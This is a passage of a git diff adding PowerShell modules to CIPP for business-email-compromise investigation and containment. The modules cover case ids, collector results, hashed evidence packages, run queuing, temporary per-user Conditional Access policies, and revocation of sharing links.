-eq 0 -and $RunResults) { + $Senders = @($RunResults.ReceivedMailFindings | ForEach-Object { $_.SenderAddress } | Where-Object { $_ } | Select-Object -Unique) + } + $Senders = @($Senders | Where-Object { $_ } | Select-Object -Unique) + if ($Senders.Count -eq 0) { & $Add $Id $TenantFilter 'info' 'No phishing-shaped senders from the run to block' $null; break } + # One New-TenantAllowBlockListItems call takes the whole set; emit a row per sender for the results table. + try { + $null = New-ExoRequest -tenantid $TenantFilter -cmdlet 'New-TenantAllowBlockListItems' -cmdParams @{ + Entries = @($Senders) + ListType = 'Sender' + Block = $true + NoExpiration = $true + Notes = "Blocked from BEC case $CaseId" + } + foreach ($Address in $Senders) { & $Add $Id $Address 'success' "Added $Address to the tenant Block list (Sender)" $null } + } catch { + $BlockError = Get-CippException -Exception $_ + foreach ($Address in $Senders) { & $Add $Id $Address 'error' "Failed to block $Address`: $($BlockError.NormalizedError)" $null } + } + } + default { & $Add $Id $UserPrincipalName 'error' "Action '$Id' has no implementation" $null } + } + } catch { + $ErrorMessage = Get-CippException -Exception $_ + & $Add $Id $UserPrincipalName 'error' "$($Action.Label) failed: $($ErrorMessage.NormalizedError)" $null + Write-LogMessage -headers $Headers -API $APIName -tenant $TenantFilter -message "BEC containment action $Id failed for $UserPrincipalName`: $($ErrorMessage.NormalizedError)" -Sev 'Error' -LogData $ErrorMessage + } + } + + # Persist and log a redacted copy: the password (copyField) must never reach the logbook or the run. + $Redacted = @(foreach ($Row in $Rows) { + $Text = [string]$Row.resultText + if ($Row.copyField) { $Text = $Text.Replace([string]$Row.copyField, '[redacted]') } + [pscustomobject]@{ Action = $Row.Action; Target = $Row.Target; state = $Row.state; resultText = $Text } + }) + $Summary = "Executed BEC containment for $UserPrincipalName ($($Selected.Id -join ', '))$(if ($CaseId) { " [case $CaseId]" })" + Write-LogMessage -headers $Headers -API $APIName -tenant $TenantFilter -message $Summary -Sev 'Info' -LogData @($Redacted) + if ($CaseId) { + try { + $Run = Get-CIPPBecReport -TenantFilter $TenantFilter -CaseId $CaseId + if ($Run) { + $By = if ($Headers -and $Headers.'x-ms-client-principal') { try { ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($Headers.'x-ms-client-principal')) | ConvertFrom-Json).userDetails } catch { 'CIPP' } } elseif ($Headers -is [string]) { $Headers } else { 'CIPP' } + $History = @($Run.Containment | Where-Object { $_ }) + $History += [pscustomobject]@{ At = (Get-Date).ToUniversalTime().ToString('o'); By = [string]$By; Actions = @($Selected.Id); Results = $Redacted } + $null = Set-CIPPBecReport -TenantFilter $TenantFilter -CaseId $CaseId -Properties @{ Containment = $History; LastContainmentAt = (Get-Date).ToUniversalTime().ToString('o') } + } + } catch { + Write-Information "BEC containment: could not append the result to run $CaseId`: $($_.Exception.Message)" + } + } + } finally { + Set-CippBecCaseContext -CaseId $null + } + return $Rows.ToArray() +} diff --git a/backend/Modules/CIPPCore/Public/BEC/New-CIPPBecCaseId.ps1 b/backend/Modules/CIPPCore/Public/BEC/New-CIPPBecCaseId.ps1 new file mode 100644 index 0000000000..2779916740 --- /dev/null +++ b/backend/Modules/CIPPCore/Public/BEC/New-CIPPBecCaseId.ps1 @@ -0,0 +1,18 @@ +function New-CIPPBecCaseId { + <# + .SYNOPSIS + Mints a new BEC case id. + .DESCRIPTION + Case ids are BEC--<6 hex>: the timestamp prefix keeps them chronologically + sortable as table RowKeys (so a user's run history lists in order) and the random suffix keeps + two runs queued in the same second distinct. The id is stamped on the run row, the results + blob, every logbook entry written during the case and the evidence manifest. + .FUNCTIONALITY + Internal + #> + [CmdletBinding()] + param() + + $Suffix = -join ((1..6) | ForEach-Object { '{0:x}' -f (Get-Random -Minimum 0 -Maximum 16) }) + return 'BEC-{0}-{1}' -f (Get-Date).ToUniversalTime().ToString('yyyyMMddHHmmss'), $Suffix +} diff --git a/backend/Modules/CIPPCore/Public/BEC/New-CIPPBecCollectorResult.ps1 b/backend/Modules/CIPPCore/Public/BEC/New-CIPPBecCollectorResult.ps1 new file mode 100644 index 0000000000..a8bafb91e1 --- /dev/null +++ b/backend/Modules/CIPPCore/Public/BEC/New-CIPPBecCollectorResult.ps1 @@ -0,0 +1,57 @@ +function New-CIPPBecCollectorResult { + <# + .SYNOPSIS + Builds the uniform result object every BEC collector returns. + .DESCRIPTION + Every collector in the BEC check returns { Data, Complete, Cap, Error, Skipped, Requirement, Count } + so Push-BECRun can flatten the data into the report and record an honest completeness marker per + collector. A collector that hit a paging cap reports Complete=$false with the cap it hit; one that + failed unexpectedly reports Complete=$false with the error text; one that could not run because a + licence or permission is missing reports Complete=$false, Skipped=$true and the Requirement (e.g. + 'Entra ID P2'). All three keep an empty Data array, so an empty section is never mistaken for a + clean one - and a skipped check is never mistaken for a passed one. + .PARAMETER Data + The collected rows or object. Defaults to an empty array. + .PARAMETER Complete + Whether the collector saw everything it asked for. Defaults to $true. + .PARAMETER Cap + The cap that was hit (page count, row count) when Complete is $false because of a limit. + .PARAMETER Error + Error text when the collector failed. + .PARAMETER Count + Number of items in Data; computed when not supplied. + .FUNCTIONALITY + Internal + #> + [CmdletBinding()] + param( + $Data = @(), + [bool]$Complete = $true, + $Cap = $null, + # Exposed to callers as -Error; the variable avoids the $Error automatic variable. + [Alias('Error')][string]$ErrorText = $null, + # The check could not run because an entitlement is missing (licence or permission), not + # because it failed - so it is neither complete nor a pass. + [bool]$Skipped = $false, + # What the skipped check needs, shown to the analyst (e.g. 'Entra ID P2', 'Defender for Office 365 Plan 2'). + [string]$Requirement = $null, + $Count = $null + ) + + if ($null -eq $Data) { $Data = @() } + if ($null -eq $Count) { + $Count = if ($Data -is [System.Collections.IEnumerable] -and $Data -isnot [string] -and $Data -isnot [hashtable] -and $Data -isnot [pscustomobject]) { @($Data).Count } elseif ($Data -is [pscustomobject] -or $Data -is [hashtable]) { 1 } else { @($Data).Count } + } + if (-not [string]::IsNullOrWhiteSpace($ErrorText)) { $Complete = $false } + if ($Skipped) { $Complete = $false } + + return [pscustomobject]@{ + Data = $Data + Complete = [bool]$Complete + Cap = $Cap + Error = if ([string]::IsNullOrWhiteSpace($ErrorText)) { $null } else { $ErrorText } + Skipped = [bool]$Skipped + Requirement = if ([string]::IsNullOrWhiteSpace($Requirement)) { $null } else { $Requirement } + Count = [int]$Count + } +} diff --git a/backend/Modules/CIPPCore/Public/BEC/New-CIPPBecEvidencePackage.ps1 b/backend/Modules/CIPPCore/Public/BEC/New-CIPPBecEvidencePackage.ps1 new file mode 100644 index 0000000000..b795d28455 --- /dev/null +++ b/backend/Modules/CIPPCore/Public/BEC/New-CIPPBecEvidencePackage.ps1 @@ -0,0 +1,179 @@ +function New-CIPPBecEvidencePackage { + <# + .SYNOPSIS + Builds and hashes the evidence package (ZIP) for a BEC run. + .DESCRIPTION + Collates everything CIPP holds about a case into one ZIP: the results payload as JSON, one + CSV per finding set, the containment history, every logbook line stamped with the case id, + the client-rendered PDF report when supplied, and a manifest listing every file with its + SHA-256. Nothing is stored: the ZIP is returned to the caller to stream or encode, and only + the export record - the ZIP's SHA-256, time and size - is appended to the run (the last + twenty exports are kept) so a copy delivered later can still be verified. Everything inside + is metadata the run already collected; passwords were redacted before they were stored and + are scrubbed from the logbook copy again here. + .PARAMETER TenantFilter + Tenant default domain name. + .PARAMETER CaseId + The run to package. + .PARAMETER PdfBase64 + Optional base64-encoded full PDF report rendered by the frontend. + .PARAMETER PdfSummaryBase64 + Optional base64-encoded C-suite summary PDF rendered by the frontend. + .PARAMETER Headers + CIPP request headers (for the GeneratedBy field and logging). + .PARAMETER APIName + Logging API name. + .FUNCTIONALITY + Internal + #> + [CmdletBinding(SupportsShouldProcess = $true)] + param( + [Parameter(Mandatory = $true)][string]$TenantFilter, + [Parameter(Mandatory = $true)][string]$CaseId, + [string]$PdfBase64, + [string]$PdfSummaryBase64, + $Headers, + [string]$APIName = 'BECEvidenceExport' + ) + + $Run = Get-CIPPBecReport -TenantFilter $TenantFilter -CaseId $CaseId -IncludeResults + if (-not $Run) { throw "BEC run $CaseId was not found for $TenantFilter" } + if ($Run.Status -ne 'Completed') { throw "BEC run $CaseId is $($Run.Status); only completed runs can be exported" } + $Results = $Run.Results + $GeneratedBy = try { ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($Headers.'x-ms-client-principal')) | ConvertFrom-Json).userDetails } catch { 'CIPP' } + $GeneratedUtc = (Get-Date).ToUniversalTime() + $Utf8 = [System.Text.UTF8Encoding]::new($false) + $Sha = { param([byte[]]$Bytes) [System.Convert]::ToHexString([System.Security.Cryptography.SHA256]::HashData($Bytes)).ToLowerInvariant() } + + # Flatten a row for CSV: arrays join, nested objects become compact JSON. + $Flatten = { + param($Row) + $Out = [ordered]@{} + foreach ($Property in $Row.PSObject.Properties) { + $Value = $Property.Value + $Out[$Property.Name] = if ($null -eq $Value) { '' } + elseif ($Value -is [string] -or $Value -is [ValueType]) { $Value } + elseif ($Value -is [System.Collections.IEnumerable]) { @($Value | ForEach-Object { if ($_ -is [string] -or $_ -is [ValueType]) { $_ } else { ConvertTo-Json -InputObject $_ -Compress -Depth 5 } }) -join '; ' } + else { ConvertTo-Json -InputObject $Value -Compress -Depth 5 } + } + [pscustomobject]$Out + } + + $Files = [ordered]@{} + $Files['results.json'] = $Utf8.GetBytes((ConvertTo-Json -InputObject $Results -Depth 20)) + $CsvSections = @('NewRules', 'InboxRuleChanges', 'MailboxPermissionChanges', 'SentMessages', 'SafelistChanges', 'SharingChanges', 'SuspectUserSignIns', 'TenantLastSignIns', 'SuspectUserDevices', 'NewUsers', 'ChangedPasswords', 'MFADevices', 'IntuneDevices', 'AddedApps', 'MaliciousSPs', 'Delegations', 'MailboxAddIns', 'UserGrants', 'TransportRuleChanges', 'TransportRulesFlagged', 'ReceivedMailFindings', 'DefenderDetections', 'DirectoryAudits', 'RegisteredDevices', 'NonInteractiveSignIns', 'MailActivity') + foreach ($Section in $CsvSections) { + $Rows = @($Results.$Section | Where-Object { $_ -and $_ -isnot [string] }) + if ($Rows.Count -eq 0) { continue } + $Csv = @($Rows | ForEach-Object { & $Flatten $_ } | ConvertTo-Csv -NoTypeInformation) -join "`r`n" + $Files["findings/$Section.csv"] = $Utf8.GetBytes($Csv) + } + if ($Results.RiskState -and @($Results.RiskState.Detections).Count -gt 0) { + $Files['findings/RiskDetections.csv'] = $Utf8.GetBytes((@($Results.RiskState.Detections | ForEach-Object { & $Flatten $_ } | ConvertTo-Csv -NoTypeInformation) -join "`r`n")) + } + if ($Results.Score) { $Files['score.json'] = $Utf8.GetBytes((ConvertTo-Json -InputObject $Results.Score -Depth 10)) } + $Files['containment.json'] = $Utf8.GetBytes((ConvertTo-Json -InputObject @($Run.Containment | Where-Object { $_ }) -Depth 15)) + + # Logbook: every line stamped with the case id, across the day partitions the case spans. + $LogRows = @() + try { + $From = try { ([datetime]($Run.RequestedAt ?? $Run.ExtractedAt)).ToUniversalTime().AddDays(-1) } catch { $GeneratedUtc.AddDays(-30) } + if ($From -lt $GeneratedUtc.AddDays(-60)) { $From = $GeneratedUtc.AddDays(-60) } + $LogTable = Get-CIPPTable -TableName 'CippLogs' + $Filter = "BecCaseId eq '$($CaseId -replace "'", "''")' and PartitionKey ge '$($From.ToString('yyyyMMdd'))' and PartitionKey le '$($GeneratedUtc.AddDays(1).ToString('yyyyMMdd'))'" + $LogRows = @(Get-CIPPAzDataTableEntity @LogTable -Filter $Filter | Where-Object { $_ } | Sort-Object -Property Timestamp | ForEach-Object { + $LogData = [string]$_.LogData + # belt and braces: a copyField (password) never leaves the system through the package + $LogData = [regex]::Replace($LogData, '"copyField"\s*:\s*"[^"]*"', '"copyField":"[redacted]"') + [pscustomobject]@{ + Timestamp = $_.Timestamp + Tenant = $_.Tenant + API = $_.API + Severity = $_.Severity + Username = $_.Username + Message = $_.Message + LogData = $LogData + RowKey = $_.RowKey + } + }) + } catch { + Write-Information "BEC evidence: logbook query failed for $CaseId`: $($_.Exception.Message)" + } + $Files['logbook.json'] = $Utf8.GetBytes((ConvertTo-Json -InputObject @($LogRows) -Depth 10)) + + # The frontend renders the report client-side (react-pdf), so it hands the PDF(s) in. Validate and + # add each supplied one - the full report and the C-suite summary. + $AddPdf = { + param([string]$Base64, [string]$Name) + if ([string]::IsNullOrWhiteSpace($Base64)) { return } + $PdfBytes = [System.Convert]::FromBase64String(($Base64 -replace '^data:application/pdf;base64,', '')) + if ($PdfBytes.Length -gt 25MB) { throw "The PDF report ($Name) exceeds 25 MB" } + if ($PdfBytes.Length -lt 4 -or [System.Text.Encoding]::ASCII.GetString($PdfBytes, 0, 4) -ne '%PDF') { throw "The supplied $Name report is not a PDF" } + $Files[$Name] = $PdfBytes + } + & $AddPdf $PdfBase64 'report-full.pdf' + & $AddPdf $PdfSummaryBase64 'report-summary.pdf' + + $Manifest = [ordered]@{ + Schema = 'cipp-bec-evidence/v1' + CaseId = $CaseId + Tenant = $TenantFilter + UserPrincipalName = $Run.UserPrincipalName + UserId = $Run.UserId + Scope = $Run.Scope + ExtractedAt = $Run.ExtractedAt + Score = $Run.Score + Level = $Run.Level + ContentPolicy = 'metadata-only' + GeneratedUtc = $GeneratedUtc.ToString('o') + GeneratedBy = [string]$GeneratedBy + HashAlgorithm = 'SHA256' + Files = @(foreach ($Name in $Files.Keys) { [pscustomobject]@{ Path = $Name; Bytes = $Files[$Name].Length; Sha256 = (& $Sha $Files[$Name]) } }) + } + $Files['manifest.sha256.json'] = $Utf8.GetBytes((ConvertTo-Json -InputObject $Manifest -Depth 6)) + + $Stream = [System.IO.MemoryStream]::new() + $Archive = [System.IO.Compression.ZipArchive]::new($Stream, [System.IO.Compression.ZipArchiveMode]::Create, $true) + try { + foreach ($Name in $Files.Keys) { + $Entry = $Archive.CreateEntry($Name, [System.IO.Compression.CompressionLevel]::Optimal) + $EntryStream = $Entry.Open() + try { $EntryStream.Write($Files[$Name], 0, $Files[$Name].Length) } finally { $EntryStream.Dispose() } + } + } finally { + $Archive.Dispose() + } + $ZipBytes = $Stream.ToArray() + $Stream.Dispose() + $ZipSha256 = & $Sha $ZipBytes + + if ($PSCmdlet.ShouldProcess("$TenantFilter/$CaseId", 'Record the evidence export')) { + # Nothing is stored; only the export record is kept so a copy can be verified later. + $ExportRecord = [pscustomobject]@{ + At = $GeneratedUtc.ToString('o') + By = [string]$GeneratedBy + Sha256 = $ZipSha256 + Bytes = [long]$ZipBytes.Length + FileCount = $Files.Count + IncludesPdf = [bool]($Files.Contains('report-full.pdf') -or $Files.Contains('report-summary.pdf')) + } + $Exports = @(@($Run.EvidenceExports) | Where-Object { $_ }) + @($ExportRecord) + if ($Exports.Count -gt 20) { $Exports = @($Exports | Select-Object -Last 20) } + $null = Set-CIPPBecReport -TenantFilter $TenantFilter -CaseId $CaseId -Properties @{ + EvidenceExports = @($Exports) + EvidenceSha256 = $ZipSha256 + EvidenceCreatedAt = $GeneratedUtc.ToString('o') + EvidenceBytes = [long]$ZipBytes.Length + } + Write-LogMessage -headers $Headers -API $APIName -tenant $TenantFilter -message "Exported evidence package for BEC case $CaseId ($($Files.Count) files, $([math]::Round($ZipBytes.Length / 1KB)) KB, SHA-256 $ZipSha256); the package was streamed to the requester and not stored" -Sev 'Info' + } + + return [pscustomobject]@{ + CaseId = $CaseId + ZipSha256 = $ZipSha256 + Bytes = $ZipBytes.Length + FileCount = $Files.Count + Manifest = [pscustomobject]$Manifest + ZipBytes = $ZipBytes + } +} diff --git a/backend/Modules/CIPPCore/Public/BEC/New-CIPPBecRunRequest.ps1 b/backend/Modules/CIPPCore/Public/BEC/New-CIPPBecRunRequest.ps1 new file mode 100644 index 0000000000..0402651833 --- /dev/null +++ b/backend/Modules/CIPPCore/Public/BEC/New-CIPPBecRunRequest.ps1 @@ -0,0 +1,86 @@ +function New-CIPPBecRunRequest { + <# + .SYNOPSIS + Prepares a BEC investigation: the history row, the live-progress job and the queue item. + .DESCRIPTION + Every way of starting a run (the user's page, the bulk action) goes through here so the run + is visible the same way everywhere: a Waiting row in BecReports (the history), an + async-deployment job keyed on the case id (the live progress the page polls; Queued until a + worker picks it up) and the batch item to hand to Start-CIPPOrchestrator. Nothing is queued + here; the caller queues one or many items. Every run is the full investigation. + .PARAMETER TenantFilter + Tenant default domain name. + .PARAMETER UserId + Object id of the user to investigate. + .PARAMETER UserPrincipalName + UPN of the user (used by the run and as the progress row name). + .PARAMETER DisplayName + Display name for the history row. + .PARAMETER RequestedBy + Who asked for the run. + .PARAMETER QueueId + Optional CIPP queue entry id (bulk runs). + .FUNCTIONALITY + Internal + #> + [CmdletBinding(SupportsShouldProcess = $true)] + param( + [Parameter(Mandatory = $true)][string]$TenantFilter, + [Parameter(Mandatory = $true)][string]$UserId, + [string]$UserPrincipalName, + [string]$DisplayName, + [string]$RequestedBy = 'CIPP', + [string]$QueueId + ) + + # The UPN drives every mailbox-scoped collector and the audit-record attribution in the run; a blank + # one makes those throw "empty string" and the tenant-wide record filter match everything. Resolve it + # from the object id when the caller didn't supply one (an API/MCP client, or a race on the page) so + # the run, the history row and the progress name all carry a real user. + if ([string]::IsNullOrWhiteSpace($UserPrincipalName)) { + try { + $Resolved = New-GraphGetRequest -uri "https://graph.microsoft.com/v1.0/users/$($UserId)?`$select=userPrincipalName,displayName" -tenantid $TenantFilter -AsApp $true + if (-not [string]::IsNullOrWhiteSpace($Resolved.userPrincipalName)) { $UserPrincipalName = [string]$Resolved.userPrincipalName } + if ([string]::IsNullOrWhiteSpace($DisplayName) -and -not [string]::IsNullOrWhiteSpace($Resolved.displayName)) { $DisplayName = [string]$Resolved.displayName } + } catch { + Write-Information "BEC: could not resolve a UPN for $UserId in $TenantFilter`: $($_.Exception.Message)" + } + } + + $CaseId = New-CIPPBecCaseId + $Name = if ([string]::IsNullOrWhiteSpace($UserPrincipalName)) { $UserId } else { $UserPrincipalName } + if ($PSCmdlet.ShouldProcess("$Name in $TenantFilter", "Prepare BEC investigation $CaseId")) { + $Properties = @{ + UserId = $UserId + UserPrincipalName = [string]$UserPrincipalName + Status = 'Waiting' + Scope = 'Full' + RequestedBy = $RequestedBy + RequestedAt = (Get-Date).ToUniversalTime().ToString('o') + } + if ($DisplayName) { $Properties.DisplayName = $DisplayName } + if ($QueueId) { $Properties.QueueId = $QueueId } + $null = Set-CIPPBecReport -TenantFilter $TenantFilter -CaseId $CaseId -Replace -Properties $Properties + # The progress job: every step pending, row status queued, until Push-BECRun takes over. + $null = New-CIPPAsyncDeployment -JobId $CaseId -Names @($Name) -StepTitles @((Get-CIPPBecRunSteps).Title) -Source 'BEC' + } + + $Item = @{ + FunctionName = 'BECRun' + UserID = $UserId + TenantFilter = $TenantFilter + userName = [string]$UserPrincipalName + Scope = 'Full' + CaseId = $CaseId + } + if ($QueueId) { + $Item.QueueId = $QueueId + $Item.QueueName = "BEC investigation $Name" + } + + return [pscustomobject]@{ + CaseId = $CaseId + Scope = 'Full' + Item = $Item + } +} diff --git a/backend/Modules/CIPPCore/Public/BEC/New-CIPPBecTargetedCAPolicy.ps1 b/backend/Modules/CIPPCore/Public/BEC/New-CIPPBecTargetedCAPolicy.ps1 new file mode 100644 index 0000000000..219d17d285 --- /dev/null +++ b/backend/Modules/CIPPCore/Public/BEC/New-CIPPBecTargetedCAPolicy.ps1 @@ -0,0 +1,100 @@ +function New-CIPPBecTargetedCAPolicy { + <# + .SYNOPSIS + Creates a temporary Conditional Access policy that targets one user, and schedules its removal. + .DESCRIPTION + The softer alternative to blocking sign-in for a VIP who must keep working: a policy scoped to + the investigated user that requires MFA (optionally plus a compliant device) for every + application, enabled or report-only. The policy description carries the case id and expiry, + a scheduled task runs Remove-CIPPBecTargetedCAPolicy at the expiry, and an existing policy for + the same user is reused rather than duplicated. + .PARAMETER TenantFilter + Tenant default domain name. + .PARAMETER UserId + The user's object id. + .PARAMETER UserPrincipalName + The user's UPN (for the display name). + .PARAMETER State + enabled or enabledForReportingButNotEnabled. + .PARAMETER Controls + mfa, or mfaAndCompliantDevice. + .PARAMETER ExpiresHours + Lifetime in hours (1-168). + .PARAMETER CaseId + The BEC case id recorded in the description. + .PARAMETER Headers + CIPP request headers for logging. + .PARAMETER APIName + Logging API name. + .FUNCTIONALITY + Internal + #> + [CmdletBinding(SupportsShouldProcess = $true)] + param( + [Parameter(Mandatory = $true)][string]$TenantFilter, + [Parameter(Mandatory = $true)][string]$UserId, + [Parameter(Mandatory = $true)][string]$UserPrincipalName, + [ValidateSet('enabled', 'enabledForReportingButNotEnabled')][string]$State = 'enabled', + [ValidateSet('mfa', 'mfaAndCompliantDevice')][string]$Controls = 'mfa', + [ValidateRange(1, 168)][int]$ExpiresHours = 24, + [string]$CaseId, + $Headers, + [string]$APIName = 'BECRemediate' + ) + + $Tag = "ManagedBy=CIPP-BEC;Target=$UserId" + $Existing = @(New-GraphGetRequest -uri 'https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies?$select=id,displayName,description,state&$top=999' -tenantid $TenantFilter -AsApp $true | Where-Object { [string]$_.description -like "*$Tag*" }) + if ($Existing.Count -gt 0) { + $Message = "A CIPP BEC containment policy already exists for $UserPrincipalName ('$($Existing[0].displayName)', $($Existing[0].state)); not creating another." + Write-LogMessage -headers $Headers -API $APIName -tenant $TenantFilter -message $Message -Sev 'Info' + return $Message + } + + $ExpiresUtc = (Get-Date).ToUniversalTime().AddHours($ExpiresHours) + $DisplayName = "CIPP BEC containment - $UserPrincipalName - expires $($ExpiresUtc.ToString('yyyy-MM-dd HH:mm'))Z" + $BuiltIn = if ($Controls -eq 'mfaAndCompliantDevice') { @('mfa', 'compliantDevice') } else { @('mfa') } + $Body = ConvertTo-Json -Depth 10 -InputObject @{ + displayName = $DisplayName + state = $State + description = "$Tag;CaseId=$CaseId;ExpiresUtc=$($ExpiresUtc.ToString('o'))" + conditions = @{ + users = @{ includeUsers = @($UserId) } + applications = @{ includeApplications = @('All') } + clientAppTypes = @('all') + } + grantControls = @{ + operator = if ($BuiltIn.Count -gt 1) { 'AND' } else { 'OR' } + builtInControls = $BuiltIn + } + } + if (-not $PSCmdlet.ShouldProcess($UserPrincipalName, "Create targeted CA policy ($State, $Controls, $ExpiresHours h)")) { return } + try { + $Policy = New-GraphPOSTRequest -uri 'https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies' -tenantid $TenantFilter -type POST -body $Body -AsApp $true + $Message = "Created Conditional Access policy '$DisplayName' ($State, $($BuiltIn -join ' + ')) for $UserPrincipalName" + Write-LogMessage -headers $Headers -API $APIName -tenant $TenantFilter -message $Message -Sev 'Info' + + # Expiry: a scheduled removal. The policy name carries the expiry too, so an operator can see it. + try { + $Task = [pscustomobject]@{ + TenantFilter = $TenantFilter + Name = "Remove BEC containment CA policy for $UserPrincipalName" + Command = @{ value = 'Remove-CIPPBecTargetedCAPolicy'; label = 'Remove-CIPPBecTargetedCAPolicy' } + Parameters = [pscustomobject]@{ TenantFilter = $TenantFilter; PolicyId = $Policy.id } + ScheduledTime = [string][int64]([System.DateTimeOffset]$ExpiresUtc).ToUnixTimeSeconds() + PostExecution = @{ Webhook = $false; Email = $false; PSA = $false } + Reference = $CaseId + } + $null = Add-CIPPScheduledTask -Task $Task -Hidden $false -Headers $Headers + $Message += "; removal scheduled for $($ExpiresUtc.ToString('u'))" + } catch { + $Message += "; WARNING: could not schedule its removal ($($_.Exception.Message)) - remove it manually after $($ExpiresUtc.ToString('u'))" + Write-LogMessage -headers $Headers -API $APIName -tenant $TenantFilter -message "Could not schedule removal of CA policy $($Policy.id): $($_.Exception.Message)" -Sev 'Warning' + } + return $Message + } catch { + $ErrorMessage = Get-CippException -Exception $_ + $Message = "Failed to create the targeted Conditional Access policy for $UserPrincipalName`: $($ErrorMessage.NormalizedError)" + Write-LogMessage -headers $Headers -API $APIName -tenant $TenantFilter -message $Message -Sev 'Error' -LogData $ErrorMessage + throw $Message + } +} diff --git a/backend/Modules/CIPPCore/Public/BEC/Remove-CIPPBecReport.ps1 b/backend/Modules/CIPPCore/Public/BEC/Remove-CIPPBecReport.ps1 new file mode 100644 index 0000000000..6c67875828 --- /dev/null +++ b/backend/Modules/CIPPCore/Public/BEC/Remove-CIPPBecReport.ps1 @@ -0,0 +1,40 @@ +function Remove-CIPPBecReport { + <# + .SYNOPSIS + Deletes a BEC run: its BecResults row and the BecReports row. + .DESCRIPTION + Runs are kept until someone deletes them; there is no automatic retention. Both deletes go + through the part-aware remover, so a results payload that was split across part rows for + size leaves nothing behind. The results row goes first so a failed delete never leaves an + orphaned payload without a run pointing at it. + .PARAMETER TenantFilter + Tenant default domain name. + .PARAMETER CaseId + The run to delete. + .FUNCTIONALITY + Internal + #> + [CmdletBinding(SupportsShouldProcess = $true)] + param( + [Parameter(Mandatory = $true)][string]$TenantFilter, + [Parameter(Mandatory = $true)][string]$CaseId + ) + + $Filter = "PartitionKey eq '$($TenantFilter -replace "'", "''")' and RowKey eq '$($CaseId -replace "'", "''")'" + $Table = Get-CIPPTable -TableName 'BecReports' + $Row = Get-CIPPAzDataTableEntity @Table -Filter $Filter | Select-Object -First 1 + if (-not $Row) { + throw "BEC run $CaseId was not found for $TenantFilter" + } + + $ResultsTable = Get-CIPPTable -TableName 'BecResults' + $ResultsRow = Get-CIPPAzDataTableEntity @ResultsTable -Filter $Filter | Select-Object -First 1 + if ($ResultsRow -and $PSCmdlet.ShouldProcess("$TenantFilter/$CaseId", 'Delete BEC results row')) { + $null = Remove-CIPPAzDataTableEntity -Force @ResultsTable -Entity $ResultsRow + } + + if ($PSCmdlet.ShouldProcess("$TenantFilter/$CaseId", 'Delete BEC run row')) { + $null = Remove-CIPPAzDataTableEntity -Force @Table -Entity $Row + } + return "Deleted BEC run $CaseId for $TenantFilter" +} diff --git a/backend/Modules/CIPPCore/Public/BEC/Remove-CIPPBecSharingLinks.ps1 b/backend/Modules/CIPPCore/Public/BEC/Remove-CIPPBecSharingLinks.ps1 new file mode 100644 index 0000000000..7d8b7aa0c1 --- /dev/null +++ b/backend/Modules/CIPPCore/Public/BEC/Remove-CIPPBecSharingLinks.ps1 @@ -0,0 +1,87 @@ +function Remove-CIPPBecSharingLinks { + <# + .SYNOPSIS + Revokes the sharing links a compromised user created on OneDrive/SharePoint items. + .DESCRIPTION + BEC containment for exfiltration links. The run records each sharing change as the item's URL + (the audit log's ObjectId), not as a drive/item/permission triple, so this resolves every URL + to its drive item through the Graph /shares endpoint, then deletes the link permissions on it. + + Only link permissions are removed (anonymous "anyone" links and organization/company links) - + direct user grants and inherited permissions are left alone. Each URL is handled in its own + try/catch so one unreachable item never stops the rest, and a row is returned per outcome in + the { Target, state, resultText, copyField } shape the containment dispatcher expects. + + Unlike disabling OneDrive sharing (which only turns off the capability), this revokes links that + already exist and are the actual exposure. + .PARAMETER TenantFilter + Tenant default domain name. + .PARAMETER UserPrincipalName + The user the links belong to (for logging). + .PARAMETER ItemUrls + The item URLs to revoke links on - the ItemUrl of each flagged sharing change. + .PARAMETER Headers + CIPP request headers for logging. + .PARAMETER APIName + Logging API name. + .FUNCTIONALITY + Internal + #> + [CmdletBinding(SupportsShouldProcess = $true)] + param( + [Parameter(Mandatory = $true)][string]$TenantFilter, + [string]$UserPrincipalName, + [string[]]$ItemUrls, + $Headers, + [string]$APIName = 'BECRemediate' + ) + + $Rows = [System.Collections.Generic.List[object]]::new() + $Add = { + param($Target, $State, $Text) + $Rows.Add([pscustomobject]@{ Target = $Target; state = $State; resultText = $Text; copyField = $null }) + } + + # Graph addresses a shared item by "u!" + base64url of its URL (no padding, +/ -> -_). Any item URL + # the caller can reach resolves this way, which is why the audit-log ObjectId is enough to act on. + $ToShareId = { + param($Url) + $Bytes = [System.Text.Encoding]::UTF8.GetBytes([string]$Url) + 'u!' + ([System.Convert]::ToBase64String($Bytes).TrimEnd('=').Replace('/', '_').Replace('+', '-')) + } + + foreach ($Url in @($ItemUrls | Where-Object { $_ } | Select-Object -Unique)) { + try { + $ShareId = & $ToShareId $Url + $Item = New-GraphGetRequest -uri "https://graph.microsoft.com/v1.0/shares/$ShareId/driveItem?`$select=id,name,webUrl,parentReference&`$expand=permissions" -tenantid $TenantFilter -AsApp $true -noPagination $true + $DriveId = $Item.parentReference.driveId + $ItemId = $Item.id + $Name = $Item.name ?? $Url + if (-not $DriveId -or -not $ItemId) { & $Add $Url 'error' "Could not resolve a drive item for $Url"; continue } + + # Only link permissions are sharing links; a direct grant has no .link. Inherited ones cannot + # be deleted on the child, so skip them rather than fail on the 400 they return. + $Links = @($Item.permissions | Where-Object { $_.link -and -not $_.inheritedFrom }) + if ($Links.Count -eq 0) { & $Add $Name 'info' "No sharing-link permissions remain on $Name"; continue } + foreach ($Perm in $Links) { + $Scope = $Perm.link.scope ?? 'link' + if (-not $PSCmdlet.ShouldProcess($Name, "Remove the $Scope sharing link")) { continue } + try { + $null = New-GraphPostRequest -uri "https://graph.microsoft.com/v1.0/drives/$DriveId/items/$ItemId/permissions/$($Perm.id)" -tenantid $TenantFilter -type DELETE -AsApp $true + & $Add $Name 'success' "Removed the $Scope sharing link on $Name" + } catch { + $PermError = Get-CippException -Exception $_ + & $Add $Name 'error' "Failed to remove the $Scope link on $Name`: $($PermError.NormalizedError)" + } + } + } catch { + $ItemError = Get-CippException -Exception $_ + & $Add $Url 'error' "Could not read sharing links for $Url`: $($ItemError.NormalizedError)" + } + } + + if ($Headers) { + Write-LogMessage -headers $Headers -API $APIName -tenant $TenantFilter -message "Removed sharing links for $UserPrincipalName ($(@($Rows | Where-Object { $_.state -eq 'success' }).Count) link(s) revoked)" -Sev 'Info' + } + return $Rows.ToArray() +} diff --git a/backend/Modules/CIPPCore/Public/BEC/Remove-CIPPBecTargetedCAPolicy.ps1 